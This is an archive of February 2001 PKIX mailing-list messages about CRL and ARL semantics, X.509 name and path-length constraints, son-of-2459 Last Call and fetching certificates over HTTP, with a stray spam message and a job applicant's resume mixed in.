hence, I think the following CRL is NOT ARL.

"CRL which contains ONLY CA Certificate Revocation Information on the list
but not containts IDP"

I think this is a Complete CRL ( eventhough it contains only CA Certificate
information).

Am I right ?

-------------------------------------------------------------

If the CRL is determied as ARL, the following problem
may occur.

* CRL1(as ARL)
Issuer = XYZ_CA
thisUpdate = 2001 02 14 12 00 00 Z
nextUpdate = 2001 03 14 12 00 00 Z
contains CA Certificate Information only
( Cert1 issued by XYZ_CA is revoked )
without IDP

* CRL2
Issuer = XYZ_CA
thisUpdate = 2001 02 14 18 00 00 Z
nextUpdate = 2001 03 14 18 00 00 Z
contains EndUser Certificate Information only
without IDP

Assume that RP check these CRLs at date = 2001 02 17 12 00 00 Z,
RP determine that the latest CRL for a CA certificate "Cert1" issued by
XYZ_CA  is "CRL2" (for example, cross-certification environment).

But CRL2 does not contain CA Certificates information, hence RP may
misunderstand that the certificate was valid.

OR if the definition of CRL1 is correct as ARL( because it contains
ONLY CA Certificate Information),
RP should check both CRL1 and CRL2 ???

I welcome any comments.
Thank you.

--------------------------
Hiroyuki Sakakibara
Mitsubishi Electric Corporation

From: "info" <[email-masked]>
To: <[email-masked]>
Subject: =?iso-8859-1?Q?=DCbersetzer-Info?=
Date: Thu, 15 Feb 2001 01:01:28 +0100

Sehr geehrte Damen und Herren,

Sie benötigen regelmäßig Übersetzungen von Fachtexten und Webseiten
- und das am besten in Stunden, und nicht in Tagen?

In nur 60 Sekunden können Sie sich hier umfassend über unseren innovativen B2B Übersetzungsdienst informieren:
 www.dieuebersetzer.de/grafik/eubylon23.html

Falls Sie keine weiteren Informationen wünschen dann klicken Sie bitte hier: 
 mailto:[email-masked]

Mit freundlichen Grüßen

Klaus Neumann
Kundenbetreuung

www.dieuebersetzer.de
wir überwinden Barrieren

ein Service der:
Eubylon GmbH
Ackerstraße 14-15
10115 Berlin
[email-masked]
T: +49-30-280 94 010
F: +49-30-280 94 008

Date: Wed, 14 Feb 2001 16:22:48 -0500
From: Steve Hanna <[email-masked]>
Organization: Sun Microsystems, Inc.
To: Tim Polk <[email-masked]>
CC: [email-masked]
Subject: Re: Resolution of name constraints issue

A hearty thanks to Tim, Sharon, David, Carlisle, Serge, Russ, and
everyone else who helped arrange this peaceful, speedy, and positive
settlement!

Steve Hanna

Tim Polk wrote:
> 
> Folks,
> 
> As you may recall, name constraints had emerged as a thorny issue at the
> San Diego meeting.  ISO had determined that the current name constraints
> extension did not satisfy all of their requirements, and was contemplating
> revisions.  However, the current name constraints extension were an
> acceptable solution for PKIX because RFC 2459 (and its successor) mandated
> that the subject field of all CA certificates MUST contain a non-empty DN.
> 
> The changes under consideration at that time in ISO could have resulted in
> divergent IETF and ISO specifications.  I feared that changes in name
> constraints would delay or prevent implementation of this extension.  At
> the San Diego meeting, we agreed to convey our concerns to ISO and
> encourage them to explore other options.  We agreed that the issue needed
> to be resolved by the middle of February.  This was reasonable, since ISO
> had a meeting in Geneva at the end of January.
> 
> In between the San Diego and Geneva meetings, there was a flurry of
> activity on this topic.  Entrust, NIST, and Spyrus worked actively to flesh
> out the business requirements that name constraints should satisfy, then
> determine if a functional shortfall existed.  We determined that a
> shortfall existed, and it could not be satisfied with the current
> syntax.  We also determined that the current extension efficiently
> represented the remaining requirements.
> 
> This information was used by members of the ISO Directory Working Group to
> develop semantics and syntax for a new ISO extension which implements all
> of ISO's requirements.  This extension contains an additional optional
> field to specify that a name type is required to appear in all following
> certificates.  The extension incorporates both current fields and their
> semantics are preserved.  The new extension was discussed at the Geneva
> meeting, and seems likely to be accepted and incorporated in X.509 in the
> future.  A new OID will be assigned to identify the new extension.
> 
> What does this mean for PKIX?
> 
> (1) The name constraints text in son-of-2459 will not need to be
> modified.  The current OID can still be used with the specified syntax, and
> the semantics are preserved.  This means we can proceed with Last Call.
> 
> (2) The new extension is processed EXACTLY the same way as the current
> extension when the one new field is not present.  As a result, it will be
> straightforward to process paths that include both the current name
> constraints extension and the version ISO is currently working on.
> 
> (3) As the ISO documents (e.g., the defect report or proposed resolution)
> become available,  the PKIX WG should review the text to ensure
> compatibility and understand the new functionality that is being
> offered.  (Hoyt Kesterson has consistently brought these documents to the
> attention of the PKIX WG.  Thanks, Hoyt!)
> 
> (4) As the specification matures, PKIX can add the new name constraints
> extension to the recognized extension set.
> 
> There were numerous contributors in this process.  I would like to
> recognize the following people: Sharon Boeyen, Serge Mister, and Carlisle
> Adams from Entrust, Russ Housley from Spyrus, and David Cooper from NIST.
> 
> Thanks,
> 
> Tim Polk

Date: Wed, 14 Feb 2001 15:35:47 -0500
To: [email-masked]
From: Tim Polk <[email-masked]>
Subject: Open Issue in Part1: path length constraints

Folks,

As noted in the Last Call message, there is an open issue on Part 1 
regarding the processing of path length constraints.  The basic constraints 
text (4.2.1.10, page 37) and path validation algorithm wrap-up procedure 
(6.1.5, page 73) contained in the current draft of Part1 does not consider 
the path length constraint for an end certificate.  This has sparked some 
controversy.

In this message, I will attempt to describe the issue and the trade-offs 
between the two different interpretations.  I apologize in advance for the 
length of this message.  Brevity is not my strong suit.

We first ran into this issue at NIST when we were developing the X.509 path 
validation tests.  There was some debate among the participants whether a 
path should be rejected if the max_path_length state variable was less than 
or equal to zero and the end certificate was a CA certificate (i.e., 
basicConstraints included cA=TRUE).

After some discussion, we decided that the path length constraint in basic 
constraints was intended to specify the number of intermediate certificates 
that could follow this certificate. This meant the max_path_length did not 
apply to the end certificate. The current text of part1 reflects this line 
of reasoning:

 From 4.2.1.10:

 >The pathLenConstraint field is meaningful only if cA is set to TRUE. In this
 >case, it gives the maximum number of CA certificates that may follow this
 >certificate in a certification path. (Note: One end- entity certificate will
 >follow the final CA certificate in the path. The last certificate in a path
 >is considered an end-entity certificate, whether the subject of the
 >certificate is a CA or not.)

6.1.5 supports this interpretation through omission:  there is no 
processing step to consider the value of  max_path_length in the 
wrap-up-procedure.  (The comparison step appears in 6.1.4, "Preparation for 
Certificate i+1" so it is already performed for every other certificate in 
the path.)

If the working group disagrees with this interpretation, the changes to 
Part 1 are straightforward.  First, modify the parenthetical in 4.2.1.10 to 
indicate that the end certificate in the path is considered a CA 
certificate if the basic constraints extension indicates 
cA=TRUE.  Secondly, add one new step (h) to 6.1.5 and reject the 
certification path if (h) fails.

new step:
 >
 >(h) If the certificate was not self-issued, verify that max_path_length is
 >greater than zero and decrement max_path_length by 1.

comparison statement:
 >
 >If check (h) fails, the procedure terminates, returning a failure indication
 >and an appropriate reason.

What is less straightforward (at least to me) is which approach is the 
appropriate one.

Essentially, the relying party wishes to trust the public key of a subject 
to perform an action *other* than validating a signature on a 
certificate.  During the preparation for this certificate the value of 
max_path_length has been decremented or reset to zero (steps (l) or (m) in 
6.1.4) , indicating no additional CA certificates may be processed.

If that subject of the last certificate is not a CA, the path is clearly 
acceptable.  But what if the subject is a CA? Should the relying party 
reject the path because the key is in a CA certificate *or* accept the path 
because the subject is not being treated as a CA?

I cannot come up with a security rationale for rejecting such a 
certificate.  On the other hand, I do need to stretch a bit to devise a 
scenario where accepting this certificate is beneficial.

Here is the beneficial scenario:

CA "A" issues a CA certificate to CA "B".  "A" trusts end entity 
certificates issued by "B", but does not trust "B" to issue certificates to 
other CAs.  "A" includes basic constraints in the certificate it issues to 
"B" with cA = TRUE and pathLen = 0.

"B" does not issue its own CRLs, but delegates this to CA "C".  "B" also 
trusts "C" to issue end entity certificates. So, "B" includes basic 
constraints in the certificate it issues to "B" with cA = TRUE.

Alice's trust point is "A".
Bob's trust point is "B", and "B" issued his certificate.  Bob's 
certificate includes a CRL distribution points extension identifying "C" as 
the indirect CRL issuer.
Carol's trust point is "C", and "C" issued her certificate.

Using the current text/algorithm, Alice can validate the certification path 
for Bob including the indirect CRL signed by "C".  This required Alice to 
validate the certification path ending with the certificated issued by "B" 
to "C".

Alice cannot validate Carol's certificate, though.  Alice cannot trust any 
certification path  that includes the certificate issued by "B" to "C" as 
an intermediate certificate.

This *seems* to satisfy the spirit of the path length constraint, but not 
the letter.

On the other hand:

If max_path_length is used to reject end certificates whose subjects are 
CAs, Alice would not be able to validate Bob's certification path.  Alice 
could not process the indirect CRL.

If "A" relaxed the path length constraint (1 instead of zero) Alice would 
be able to validate Bob's certification path.  Unfortunately, this would 
also permit Alice to validate Carol's certification path, which "A" did not 
intend.

This honors the letter of the path length constraint but did not achieve 
the intended results.

Even with this scenario, there are at least two workarounds.  Either CA "A" 
or CA "B" could issue a certificate to "C" that omitted the basic 
constraints extension (but included the cRLSign bit in keyUsage).  Alice 
would then be able to process paths as intended.  Alice would accept Bob's 
certification path and reject Carol's.

-----------------------------------

In summary:

(1) The current text describes a comparatively liberal interpretation of 
basic constraints.
(2) A straightforward reading of RFC 2459 or X.509 implies a more 
conservative interpretation.
(3) Either interpretation may be easily accommodated in the new specification.
(4) I cannot devise a security attack based on the more liberal interpretation.
(5) I can devise one scenario where the more liberal interpretation was 
beneficial. (It is unclear if there are others.)
(6) It is certainly possible to implement this same scenario with the more 
conservative interpretation.  It requires issuing one additional certificate.

Any thoughts?

Thanks,

Tim Polk

P.S.  I should state that implementations exist that implement both 
interpretations.

Date: Wed, 14 Feb 2001 13:43:29 -0500
To: [email-masked]
From: Tim Polk <[email-masked]>
Subject: WG Last Call: Son-of-2459

Folks,

The current version of Part1 is ready for Working Group Last Call; Last 
Call will close on or after February 28, 2001.

The draft is named draft-ietf-pkix-new-part1-04.txt.  The text has been 
posted and is available from the usual repositories, including: 
http://www.ietf.org/internet-drafts/draft-ietf-pkix-new-part1-04.txt

The name constraints issue has been addressed satisfactorily.  (See earlier 
message with subject "Resolution of name constraints issue").

I am aware of one open issue that needs to be discussed by this group.  The 
basic constraints text (4.2.1.10, page 37) and path validation algorithm 
wrap-up procedure (6.1.5, page 73) contained in this specification does not 
consider the path length constraint for an end certificate.   This may be 
considered a change from RFC 2459, and ...

                           *it was not discussed on the list*.

This is a change I made without bringing it to the attention of the 
list.  Oops.

We ran into this issue when we were developing the X.509 path validation 
tests.  After some discussion, we decided that the path length constraint 
did not apply to the end certificate. I thought I was clarifying the text 
of Part1 by making the corresponding changes.  However, users of the path 
validation tests have sited this as a *change* not a clarification.

It was not appropriate for me to make this change without discussion on the 
list.  We need to discuss this issue and resolve it on the list before WG 
Last Call closes.  I will be following this message with a more complete 
description of the problem this afternoon.

Thanks,

Tim Polk

Date: Wed, 14 Feb 2001 12:25:17 -0500 (EST)
From: Polar Humenn <[email-masked]>
To: Michael =?iso-8859-1?Q?Str=F6der?= <[email-masked]>
cc: [email-masked], Richard Mark Soley <[email-masked]>, Andrew Watson <[email-masked]>
Subject: Re: Looking for Standards

On Wed, 14 Feb 2001, Michael [iso-8859-1] Ströder wrote:

> Polar Humenn wrote:
> > 
> > There is a standard for certificate management out of the CORBA E-commerce
> > Group, from the OMG (Object Management Group), the standards group for
> > Object Request Brokers.
> > 
> > The document number there is:
> >         http://cgi.omg.org/cgi-bin/doc?ec/99-12-03
> 
> Document ec/99-12-03 (DSTC Revised Submission against the PKI RFP)
>                                               ^^^^^^^^^^^^^^^^^^^
> How to understand this?
> 

I wish I knew why this strange terminology is used in places. It throws me
as well.

It means that the "Submission", which is the actual proposal, is *for* the
particular (RFP) Request For Proposal, in this case the Public Key
Infrastructure (PKI) RFP.

I think it's just a result years of nicknames and phrases that caught on.
Richard, Andrew, please correct me if I'm wrong.

Cheer,
-Polar

> Ciao, Michael.

-------------------------------------------------------------------
Polar Humenn                  Adiron, LLC
mailto:[email-masked]       2-212 CST      
Phone: 315-443-3171           Syracuse, NY 13244-4100
Fax:   315-443-4745           http://www.adiron.com

Date: Wed, 14 Feb 2001 12:09:26 -0500
From: "Lawrence Gross" <[email-masked]>
To: <[email-masked]>
Subject:  Unsubscribe

Unsubscribe

From: Peter Sylvester <[email-masked]>
Date: Wed, 14 Feb 2001 18:05:25 +0100 (MET)
To: [email-masked]
Subject: time stamping and son of 2459

The current text in son-of-2459 contains a section about
how a time stamping server can fill in a SIA extension.
It mentions the usage of URLs for HTTP etc, and DNSname
and IPAddress for the direct socket protocol. 

Unfortunately the latter does not allow to specify a port.

I am not quite sure whether one should invented an OtherName
form here, or whether one could try to find a common solution
with the other usage of the same prtocol, i.e., in CMP.

Sender: [email-masked]
Date: Wed, 14 Feb 2001 17:26:22 +0100
From: Michael =?iso-8859-1?Q?Str=F6der?= <[email-masked]>
Organization: stroeder.com
To: [email-masked]
Subject: Re: Looking for Standards

Polar Humenn wrote:
> 
> There is a standard for certificate management out of the CORBA E-commerce
> Group, from the OMG (Object Management Group), the standards group for
> Object Request Brokers.
> 
> The document number there is:
>         http://cgi.omg.org/cgi-bin/doc?ec/99-12-03

Document ec/99-12-03 (DSTC Revised Submission against the PKI RFP)
                                              ^^^^^^^^^^^^^^^^^^^
How to understand this?

Ciao, Michael.

Date: Wed, 14 Feb 2001 10:30:43 -0500
To: [email-masked]
From: Tim Polk <[email-masked]>
Subject: Resolution of name constraints issue

Folks,

As you may recall, name constraints had emerged as a thorny issue at the 
San Diego meeting.  ISO had determined that the current name constraints 
extension did not satisfy all of their requirements, and was contemplating 
revisions.  However, the current name constraints extension were an 
acceptable solution for PKIX because RFC 2459 (and its successor) mandated 
that the subject field of all CA certificates MUST contain a non-empty DN.

The changes under consideration at that time in ISO could have resulted in 
divergent IETF and ISO specifications.  I feared that changes in name 
constraints would delay or prevent implementation of this extension.  At 
the San Diego meeting, we agreed to convey our concerns to ISO and 
encourage them to explore other options.  We agreed that the issue needed 
to be resolved by the middle of February.  This was reasonable, since ISO 
had a meeting in Geneva at the end of January.

In between the San Diego and Geneva meetings, there was a flurry of 
activity on this topic.  Entrust, NIST, and Spyrus worked actively to flesh 
out the business requirements that name constraints should satisfy, then 
determine if a functional shortfall existed.  We determined that a 
shortfall existed, and it could not be satisfied with the current 
syntax.  We also determined that the current extension efficiently 
represented the remaining requirements.

This information was used by members of the ISO Directory Working Group to 
develop semantics and syntax for a new ISO extension which implements all 
of ISO's requirements.  This extension contains an additional optional 
field to specify that a name type is required to appear in all following 
certificates.  The extension incorporates both current fields and their 
semantics are preserved.  The new extension was discussed at the Geneva 
meeting, and seems likely to be accepted and incorporated in X.509 in the 
future.  A new OID will be assigned to identify the new extension.

What does this mean for PKIX?

(1) The name constraints text in son-of-2459 will not need to be 
modified.  The current OID can still be used with the specified syntax, and 
the semantics are preserved.  This means we can proceed with Last Call.

(2) The new extension is processed EXACTLY the same way as the current 
extension when the one new field is not present.  As a result, it will be 
straightforward to process paths that include both the current name 
constraints extension and the version ISO is currently working on.

(3) As the ISO documents (e.g., the defect report or proposed resolution) 
become available,  the PKIX WG should review the text to ensure 
compatibility and understand the new functionality that is being 
offered.  (Hoyt Kesterson has consistently brought these documents to the 
attention of the PKIX WG.  Thanks, Hoyt!)

(4) As the specification matures, PKIX can add the new name constraints 
extension to the recognized extension set.

There were numerous contributors in this process.  I would like to 
recognize the following people: Sharon Boeyen, Serge Mister, and Carlisle 
Adams from Entrust, Russ Housley from Spyrus, and David Cooper from NIST.

Thanks,

Tim Polk

Date: Wed, 14 Feb 2001 08:23:11 -0500 (EST)
From: Polar Humenn <[email-masked]>
To: Peter Gutmann <[email-masked]>
cc: [email-masked], [email-masked]
Subject: Re:  Looking for Standards

On Wed, 14 Feb 2001, Peter Gutmann wrote:

> Polar Humenn <[email-masked]> writes:
> 
> >There is a standard for certificate management out of the CORBA E-commerce
> >Group, from the OMG (Object Management Group), the standards group for Object
> >Request Brokers.
> >
> >The document number there is:
> >        http://cgi.omg.org/cgi-bin/doc?ec/99-12-03
> 
> Hmm, the original request was for a simple, lightweight means of grabbing certs
> from a server via HTTP.  I saw a mention of LDAP somewhere, and now someone's
> suggested using CORBA to move certs around... I can't shake the feeling that
> this progression is heading in the exact opposite direction to what the
> original poster was after :-).

Well, it is "lightweight" when you consider the time to market
capabilities: besides an interoperable wire protocol, you get a
corresponding API, a Request/Reply semamtics, an object model, a security
model, and don't have to screw around with ASN.1 encodings except for the
Cert Request, which you'd have to do anyway (although you could easily
usurp with XML or something else). It's easy.

I guess I misinterpreted "lightweight". :-0

Cheers,
-Polar

> 
> (I was going to finish by suggesting something silly as the next step in the
>  progression, but I normally use Corba as the canonical heavyweight protocol so
>  I can't actually think of anything to use as the next step beyond this).
> 
> Peter.
> 

-------------------------------------------------------------------
Polar Humenn                  Adiron, LLC
mailto:[email-masked]       2-212 CST      
Phone: 315-443-3171           Syracuse, NY 13244-4100
Fax:   315-443-4745           http://www.adiron.com

From: Kian Haghdad <[email-masked]>
To: <[email-masked]>
Subject: Software engineer
Date: Wed, 14 Feb 2001 00:30:19 -0500

This is a multipart message in MIME format

--27342482
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

Hi:

I have got your email from the Web site and I am very interested in working for your company. I 
have a BS in Electrical Engineering and computer science and worked on my Master degree 
in Telecommunication engineering (not finished due to the lucrative market!). I have also 7++ 
years of experience with software development, Internet development and hardware. I have 
worked for many companies both in Iran and in the United States using different development 
environments.
I am looking for a position which utilizes my experience. I am open to both Permanent position 
or contract to permanent positions.

I am Canadian resident and have permission to work in Canada.
I have attached my resume and sincerely appreciate your attention, thank you.

Sincerely,

Kian Haghdad

Here is my resume:
Kian Haghdad
8 Kingsbridge Crt., Apt. 508 
Toronto, Ontario M2R 1L5
Home: (416) 630-7066
Fax:  (416) 630-7991
Email: [email-masked]

I have more than 7+ years of experience in application development, Database Management, 
Internet development. I have also been involved in hardware design. My software 
development experience is mainly in Visual Basic, Visual C++, Visual J++, Visual InterDev, 
COM, DCOM, MFC, SDKs, MS-Access, MS-SQL, FoxPro,
Java script and VB script. Over the years I have been responsible for the 
Development of many applications from design to commercial release.

EDUCATION:

Sharif University OF Technology, Tehran (The best technical school in Iran)	9/87-6/92
B.S. Degree: Electrical Engineering and computer science
Worked on M.S. degree in Telecommunication engineering

EXPERIENCE:

01Communique, Mississauga, Ontario	12/00-Present
Involved in the development of a web supported version of the communicating Interface
using Active Server Pages, JavaScript, VB Script and browser compatibility, Visual C++6.0,
Borland C++, MSMQ, TCP/IP. 
Application increases the Modem compatibility for the wide variety of connections.
It also provides additional capabilities for the desktop version on the web.

American SkySat, Walnut Creek, California	5/00-Present
* Involved in the development of a web application in Visual InterDev 6.0 using Active Server 
Pages (ASP), Microsoft E-Commerce, SQL 7.0, XML, Visual C++ 6.0 and Visual Basic 6.0, 
Visual J++ 6.0, COM (ATL), DCOM, JavaScript and VB Script. The web server was Microsoft 
Internet Information Server (IIS), Microsoft site server 3.0, with Microsoft E-Commerce edition 
3.0 and FrontPage extension running under the NT Server The web application provides NT 
related services online. The user can register and buy services and also allows the user to 
troubleshoot and configure a system at real time online. The web site also provides the 
capability of chatting online, customer support online, statistical analysis online and transaction 
online.

* Developed a database management application for a medical health care center, using 
Visual Basic 6.0, SQL 7.0, Crystal report and Access 2000. (Windows 98 and NT)

American Computech, Pleasanton, California	3/98-5/00
Developed different applications using Visual C++, Visual J++, and Access.

* Involved in the development of a CRM (Customer Relation Management)web application in 
Visual InterDev 6.0 using Active Server Pages (ASP), Microsoft E-Commerce, SQL 7.0, XML, 
Visual Basic 6.0, Visual J++ 6.0, COM, DCOM, JavaScript and VB Script. (Windows 98 and 
NT)

Developed an application in Visual Basic 5.0, Access 97 and Crystal reports (using ODBC) for 
financial analyses department of FHP (Concord, California). The application is capable of 
importing data from other systems, analyzing and processing the data and generating hundreds 
of reports base on the original data.

*Developed an MDI application in Visual C++5,0 and Access 97 for windows called ID maker. 
The application is designed to drive a digital camera, capture a picture and generate different 
ID cards using OLE (marketing for schools and clubs). The Cannon digital camera is controlled 
via DLL functions calls to the camera's driver. The camera is connected via a parallel port. I 
have also developed several OCXs for this project.

Developed an application in Visual Basic 5.0, Access 97 and Crystal reports (using ODBC). 
The application is a very large information management system for CBI (City Building Inc. in 
San Francisco). The application contains 28 relational tables large number of queries forms 
and reports.

Tavanir Co., Tehran, Iran	9/95-3/98
*Developed an application in Visual C++ 5.0 intended for network control managements. The 
application is able to get information such as voltage, active and reactive power from power 
plants and transmission stations and specifies transmission state using power flow method after 
a fault occurs on the transmission line. 

* Developed an application for voltage drop on the net. The application was developed in 
Visual Basic 5.0 using graphical OCXs.

* Developed hardware for the high voltage network.

*Developed an application in Visual C++ 4.0. The application checks the transmitting power on 
the lines and controls the system's steady state by alarm system.

*Developed an application in Visual C++ 4.0 set the protection relays in substations to protect 
the network's reliability.

Pishro Co., Tehran, Iran	11/94-6/95
Designed, developed and implemented electrical systems using computer aided software. The 
electrical systems were intended for both indoors (Buildings) and outdoors (Airports and 
Terminals).
The systems were designed and based on the standard and regulation of electrical system.

Pardis Tower Co, Tehran, Iran	1/93-11/94
Designed simulators for training purpose.
*Developed an application in  C++ for  cycloconvertor simulator. The  
cycloconvertor is used in the starters of synchronous motors.
*Developed application using C++  for control speed of  DC motors. The application
 gets input voltage to the motor, speed of motor and rotor's current. It can control
 the motor speed based on requested speed.
*Developed application using C++ for step motor's control speed. In order to change the angle 
of dish antenna, the application orders to step motor to change the rotor's situation.

SKILLS:
Software development
Visual C++, Visual Basic, Visual InterDev, Visual J++, MFC, SDKs, COM, DCOM, ATL ActiveXs 
, C++, Fortran, Intel  8085 Assembler Access.
Internet development
Visual InterDev 6.0, Active Server Pages (ASP), SQL 7.0, COM, DCOM, Java script. 
Database development
MS-SQL, Access, FoxPro
Operating System Used
NT, MS-Win, UNIX, VAX, MS-DOS

--27342482
Content-Type: application/msword; name="kian Resume U_C.doc"
Content-Transfer-Encoding: Base64
Content-Disposition: attachment; filename="kian Resume U_C.doc"

--27342482--

From: Andrew Probert <[email-masked]>
To: "'Stephen Kent'" <[email-masked]>, David Kemp <[email-masked]>
Cc: [email-masked]
Subject: RE: Basic Cert-2-Directory mapping question
Date: Wed, 14 Feb 2001 16:14:59 +1100

Hmmm.  This thread is a big read!

Humbly suggest you 
1)  Treat SubjectDN as a local representation.  Local software can use local
"knowledge" to find certs.

If things cannot be found locally, use SubjectAltName for wider connotations
..

2)  Extend SubjectAltName to carry protocolId & searchstring as required

In the LDAP world, the semantics of: SubjectAltName ..
UniformResourceIndicator ..
LDAP://ldap.myserver.com/basedn??cn=x,ou= ... is already supported.

It seems to me the DC=ACME, DC=COM hack to SubjectDN would have been better
effected by using the above, or 
SubjectAltName .. directoryName

For other protocols you could use RegisteredID and choose some new PKIX OIDs
with semantics i.e. OCSP address.

Define a limited profile for lookups.

Allows retrofit to market.  Needs new client capability.

But agree fundamentally, that a Naming Authority is required.  You can't
infer "knowledge" (directory references) from thin air.

Think hardcoding RFC822Names into S/MIME certs causes as many problems as it
solves.  Could have worked just
as well without.  I want to trust the Sender, not the mailbox it came from.
We are now issuing certs with multiple
RFC822Names to cater for work, home, and away users.

Think certificate policy .. who is allowed to do what (in corporate world)
is tightly linked to issues above.  

I probably need to configure that sort of knowledge locally on a corporate
or scheme basis, so maybe I would configure other "knowledge" at the same
time, which makes the above redundant?  Whilst Internet is largely an open
and promiscous network, do I continue such practice with secure
certificate-based traffic?

Look forwards to comments.

Andrew Probert
SecureNet Limited

-----Original Message-----
From: Stephen Kent [mailto:[email-masked]]
Sent: Friday, 19 January 2001 9:07 AM
To: David Kemp
Cc: [email-masked]
Subject: RE: Basic Cert-2-Directory mapping question

Dave,

>Skip,
>
>I favor the implicit approach.
>
>Existing DNs schemas have tremendous inertia, and in addition to
>more intellectual reasons, registering existing country-based
>DNs within DNS is overwhelmingly the path of least resistance.
>In order to support Internet directory interoperability, it is far
>easier to say (to the DoD PKI, for example):
>
>   "You have to register a DNS record for OU=DoD."
>
>rather than:
>
>   "You have to change all of your certificates and directories to
>   include a new top-level RDN."
>
>I agree with Bob's goal of eliminating the need to pass certs in
>session handshakes and messages. If there were only two options (change
>the DN or add an extension), then only the first moves toward that
>goal.  But you have proposed a third option: leave the cert alone!
>For my part, I am simply in awe of the elegance of that approach.
>It might even work.

I don't agree that doing away with transmission of certs and CRLs 
inline via protocols, is a good idea in general. I understand why Bob 
wants to do this in his examples, but there is another side to the 
story. Reliance on the availability of a repository as a precursor to 
secure communications makes the secure communications more vulnerable 
to denial of service attacks, as well as creating likely greater 
delays security association creation. So, for protocols like SSL and 
IPsec, I'm more comfortable with passing this data inline, rather 
than relying on retrieving it from a server.

E-mail is the really good example of a general purpose application 
where it is necessary to retrieve a certificate for an encryption key 
from a server (or receive it inline from the peer who is the target 
of the message) prior to communication. But, for signed-only 
messages, passing cert chains and CRLs is still a reasonable strategy.

Steve

Date: Tue, 13 Feb 2001 22:22:50 -0500
From: Rich Salz <[email-masked]>
To: [email-masked]
CC: [email-masked]
Subject: Re: Looking for Standards

> And the winner is Andrew Gray for suggesting DCE as the furthest possible point
> from the original requirements.

True, but perhaps only because DCE didn't need it.
	/r$

From: [email-masked] (Peter Gutmann)
To: [email-masked]
Subject: Re: Looking for Standards
Sender: [email-masked]
Reply-To: [email-masked]
Date: Wed, 14 Feb 2001 15:39:25 (NZDT)

I wrote:

>(I was going to finish by suggesting something silly as the next step in the
> progression, but I normally use Corba as the canonical heavyweight protocol so
> I can't actually think of anything to use as the next step beyond this).

And the winner is Andrew Gray for suggesting DCE as the furthest possible point
from the original requirements.  Andrew wins a bilabial fricative from the
Object Management Group for his suggestion.

Peter.

From: [email-masked] (Peter Gutmann)
To: [email-masked], [email-masked]
Subject: Re:  Looking for Standards
Cc: [email-masked], [email-masked]
Sender: [email-masked]
Reply-To: [email-masked]
Date: Wed, 14 Feb 2001 12:32:14 (NZDT)

Polar Humenn <[email-masked]> writes:

>There is a standard for certificate management out of the CORBA E-commerce
>Group, from the OMG (Object Management Group), the standards group for Object
>Request Brokers.
>
>The document number there is:
>        http://cgi.omg.org/cgi-bin/doc?ec/99-12-03

Hmm, the original request was for a simple, lightweight means of grabbing certs
from a server via HTTP.  I saw a mention of LDAP somewhere, and now someone's
suggested using CORBA to move certs around... I can't shake the feeling that
this progression is heading in the exact opposite direction to what the
original poster was after :-).

(I was going to finish by suggesting something silly as the next step in the
 progression, but I normally use Corba as the canonical heavyweight protocol so
 I can't actually think of anything to use as the next step beyond this).

Peter.

Date: Tue, 13 Feb 2001 17:40:46 -0500 (EST)
From: Polar Humenn <[email-masked]>
To: Peter Gutmann <[email-masked]>
cc: [email-masked], [email-masked]
Subject: Re:  Looking for Standards

There is a standard for certificate management out of the CORBA E-commerce
Group, from the OMG (Object Management Group), the standards group for
Object Request Brokers.

The document number there is: 
	http://cgi.omg.org/cgi-bin/doc?ec/99-12-03

Cheers,
-Polar

 On Wed, 14 Feb 2001, Peter Gutmann wrote:

> Lars Pfuhl <[email-masked]> writes:
> 
> >I'm looking for some standards (RFCs) dealing with certificate management over
> >http. The standard must describe how to store and to get certificates from a
> >certificate server. I've only found the rfc for OCSP (rfc 2560) but it
> >contains only the standards for checking the status of a certificate. If you
> >have a hint for me which rfc is the right it would be very nice.
> 
> There's no standard for this, but I've come across a number of people/
> organisations who have invented their own methods for it (it's so simple that
> there's not much to it, however Sod's law results in everyone choosing not-
> quite-the-same way to do the same thing).  I created a sketch of this a while
> back for a company who were setting up a national cert database here, I could
> turn this into an RFC draft fairly easily if there's any interest, mostly to
> provide some sort of common ground for implementors.
> 
> Peter.
> 

-------------------------------------------------------------------
Polar Humenn                  Adiron, LLC
mailto:[email-masked]       2-212 CST      
Phone: 315-443-3171           Syracuse, NY 13244-4100
Fax:   315-443-4745           http://www.adiron.com

From: [email-masked] (Peter Gutmann)
To: [email-masked], [email-masked], [email-masked], [email-masked]
Subject: Re:  Looking for Standards
Sender: [email-masked]
Reply-To: [email-masked]
Date: Wed, 14 Feb 2001 08:06:06 (NZDT)

"David P. Kemp" <[email-masked]> writes:

>Presumably you meant to say "There's no standard for this other than RFC
>2585", which "specifies the conventions for using FTP and HTTP to obtain
>certificates and CRLs from PKI repositories."

I don't really regard that as any sort of useful specification, "If you want to
get a cert from a server, fetch it by its URL" is a tautology for which I've
always wondered why it was necessary to publish an RFC [1].  What I was talking
about is something specifying the mechanisms you use to grab a cert when you
have an issuerAndSerialNumber, subjectKeyIdentifier, cert hash, or one of a
number of other commonly used identifiers (the situations I've run into were
for use with cert chains and S/MIME, so those were the identifiers which were
being used... oh yes, and issuerName as well).

The last time this came up I scribbled down some comments:

  My general thoughts were to just profile the use of GET with attributes
  rfc822Name, issuerAndSerialHash, subjectHash, and subjectKeyIdentifier (eg
  "GET /foo-cgi?rfc822Name=[email-masked]").  If there's more than one cert, it's
  returned as a multipart response.  If the cert is elsewhere, you get a
  40<whatever> redirect.  That's about all there is to it, it's just a simple
  interop profile so that we don't end up with a hundred similar but
  incompatible ways of doing it.

(that was after some poking around revealed that we were already heading
towards a situation where there'd be a hundred similar but imcompatible ways to
do this).

Peter.

[1] No offense to the authors, but... "Fetch a cert by specifying its URL" is
    the subject of a standards-track RFC?

Date: Tue, 13 Feb 2001 13:09:26 -0500 (EST)
From: "David P. Kemp" <[email-masked]>
Reply-To: "David P. Kemp" <[email-masked]>
Subject: Re:  Looking for Standards
To: [email-masked], [email-masked], [email-masked]
Content-MD5: 2QE5jP07k3VwC0VxyqBTiw==

> From: [email-masked] (Peter Gutmann)
> To: [email-masked], [email-masked]
> Subject: Re:  Looking for Standards
> X-Charge-To: pgut001
> X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
> Date: Wed, 14 Feb 2001 06:30:13 (NZDT)
> 
> Lars Pfuhl <[email-masked]> writes:
> 
> >I'm looking for some standards (RFCs) dealing with certificate management 
over
> >http. The standard must describe how to store and to get certificates from a
> >certificate server. I've only found the rfc for OCSP (rfc 2560) but it
> >contains only the standards for checking the status of a certificate. If you
> >have a hint for me which rfc is the right it would be very nice.
> 
> There's no standard for this, but I've come across a number of people/
